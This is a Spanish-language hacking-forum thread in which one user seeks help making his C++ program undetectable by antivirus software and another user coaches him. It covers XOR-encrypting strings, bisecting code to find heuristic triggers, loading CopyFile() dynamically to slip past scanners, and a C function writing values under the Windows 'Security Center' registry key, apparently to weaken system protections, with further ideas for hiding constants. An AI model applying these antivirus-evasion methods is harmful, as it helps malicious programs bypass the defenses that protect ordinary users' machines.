Autor
|
Tema: Evitar detección de anti virus. (Leído 24,186 veces)
|
APOKLIPTICO
Desconectado
Mensajes: 3.871
Toys in the attic.
|
Está en C++. El cifrado es un XOR que hice yo, las cadenas no se pueden ver en el binario, pero en cuanto arranca el programa se descifran para poder trabajar con ella y se cargan en el stack.
|
|
|
En línea
|
AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore ASUS M4A89GTD-PRO/USB3 2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T) Seagate 500 Gb XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
Los AVs ya aplican a las cadenas XORs con diferentes valores. Podrías probar a eliminar las cadenas y compilar a ver si saltan las mismas detecciones. De ser así el problema es el cifrado, de no ser así es la forma en que lo aplicas. C es muy explícito a la hora de generar binarios y un bucle en el que vas leyendo byte por byte hace saltar las heurísticas.
Saludos
|
|
|
En línea
|
|
|
|
APOKLIPTICO
Desconectado
Mensajes: 3.871
Toys in the attic.
|
Siendo que son heurísticas las detecciones y no de emulación de código dudo mucho que esté identificando los strings. Es más que nada para evitar que se vea toda la información del ejecutable simplemente abriéndolo con un editor de texto. De todas maneras puedo hacer un cifrado más complejo. Aparte no es un xor simple sinó múltiple. Es decir, se pasa varias veces.
Okay, encontré 3 funciones que si las saco, sólo hacen saltar el symantec (que es increíblemente sensible y da muchísimos falsos positivos), lo que mucho no me importa. Ahora supongo que tengo que identificar cómo hacer que no hagan saltar el AV.
Okay, seguí buscando y encontré que las 3 funciones hacen una llamda a CopyFile() (La cual está cargada estáticamente) y si saco la llamada a dicha función se convierte indetectable. Voy a probar cargándola dinámicamente y sino, haciendo una función custom! Alguna otra sugerencia?? Saludos APOKLIPTICO.
PD: Llamando CopyFile() como dinámica, no la detecta. Estos anti virus son patéticos...
|
|
« Última modificación: 19 Noviembre 2012, 21:26 pm por APOKLIPTICO »
|
En línea
|
AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore ASUS M4A89GTD-PRO/USB3 2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T) Seagate 500 Gb XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
Pensé que harías uso o de alguna función de ejecución como ShellExecuteEx() o alguna de copiado por la detección de "MULDROP" de Dr.Web. Aún no tratándose de emulación de código los AVs aplican cifrados simples sobre cadenas ofuscadas durante un análisis heurístico.
Me alegro que hayas podido quitarte las detecciones, teniendo el código fuente el sistema es simple; ir quitando trozos y ver que lo hacía saltar.
|
|
|
En línea
|
|
|
|
APOKLIPTICO
Desconectado
Mensajes: 3.871
Toys in the attic.
|
El tema del cifrado XOR es que no es simple, osea, para alguien haciendo criptoanálisis con un ataque known-plaintext (que se puede obtener observando la memoria del programa cargado) va a obtener un keystream que quizas puede utilizar para conseguir la semilla del generador lineal congruencial que utilizo como PRNG, o simplemente hacer un ataque fuerza bruta con el espacio de llaves (que son solo 32 bits asi que tardaría unos pocos segundos). Pero para un simple AV y con limitado tiempo de procesador?? Olvidate...
Es raro que simplemente detectando el import de CopyFile() te haga saltar el anti virus, no hay programas legítimos que lo utilicen?? En cuanto al symantec, me aparece como suspicious. Se podrá hacer algo para evitar su detección???
|
|
|
En línea
|
AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore ASUS M4A89GTD-PRO/USB3 2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T) Seagate 500 Gb XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
Los AVs no aplican el proceso de descifrado sobre cada ejecutable ni sobre el ejecutable entero, solo sobre aquellos sospechosos. Además, en un cifrado XOR normal el tamaño de la clave es de 8 bytes. Algo perfectamente asumible.
Respecto al uso de CopyFile()... no hace saltar por sí solo la detección sino un conjunto de patrones distintos, como podría ser detectar una función de [des]cifrado o que no haya imports de kernel32 o que sólo haya una sección en el PE...
|
|
|
En línea
|
|
|
|
APOKLIPTICO
Desconectado
Mensajes: 3.871
Toys in the attic.
|
Que tal, estoy tratando de evitar la detección por emulación de código durante el escaneo profundo. Esta función hace saltar el AV, específicamente cuando trata de abrir la clave "HKLM\Software\Microsoft\Security Center". int VulnRegs(char *szSubkey, char *pszRegVals, DWORD *pData) { HKEY hHandle = NULL; int iReturn = doRegOpenKeyEx(HKEY_LOCAL_MACHINE, szSubkey, 0, KEY_WRITE, &hHandle); if(iReturn != ERROR_SUCCESS) return iReturn; int iCounter = 0; do { doRegSetValueEx(hHandle, pszRegVals, 0, REG_DWORD, (const BYTE*)&pData[iCounter], sizeof(DWORD)); do{ pszRegVals++;} while(pszRegVals[0] != '\0'); pszRegVals++; iCounter++; }while(pszRegVals[0] != '\0'); doRegCloseKey(hHandle); return ERROR_SUCCESS; }
Como puedo reemplazarla??
|
|
|
En línea
|
AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore ASUS M4A89GTD-PRO/USB3 2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T) Seagate 500 Gb XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
Si se trata de una detección proactiva te detecta el acceso a la clave de registro, no la forma en qué lo haces.
|
|
|
En línea
|
|
|
|
APOKLIPTICO
Desconectado
Mensajes: 3.871
Toys in the attic.
|
Mmh, no creo que sea el caso... El tema es que la detección ocurre cuando le pongo escaneo manual, es decir con el menu contextual.
|
|
|
En línea
|
AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore ASUS M4A89GTD-PRO/USB3 2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T) Seagate 500 Gb XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
Pensaba que te referías a proactiva. Siendo un escaneo manual aplicará un nivel más paranoico de heurística o emulación. ¿Qué AV es? ¿Has probado a eliminar constantes como HKEY_LOCAL_MACHINE?
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Evitar las firmas genericas de los ANTI
Análisis y Diseño de Malware
|
Timerlux
|
5
|
4,450
|
12 Febrero 2012, 18:41 pm
por Иōҳ
|
|
|
Ayuda código heuristico detección de virus
Programación Visual Basic
|
Criscr21
|
1
|
2,093
|
23 Marzo 2013, 18:40 pm
por BlackM4ster
|
|
|
anti deteccion bat
Scripting
|
asdexiva
|
1
|
1,888
|
6 Mayo 2014, 15:23 pm
por PedroDJavier
|
|
|
Nacen los anti-anti-adblock, o cómo evitar el bloqueo de ciertas páginas a ....
Noticias
|
wolfbcn
|
0
|
2,371
|
11 Febrero 2016, 21:47 pm
por wolfbcn
|
|
|
Cómo puedo evitar la detección por los AV?
Análisis y Diseño de Malware
|
@XSStringManolo
|
5
|
55,235
|
1 Diciembre 2021, 22:56 pm
por Flamer
|
|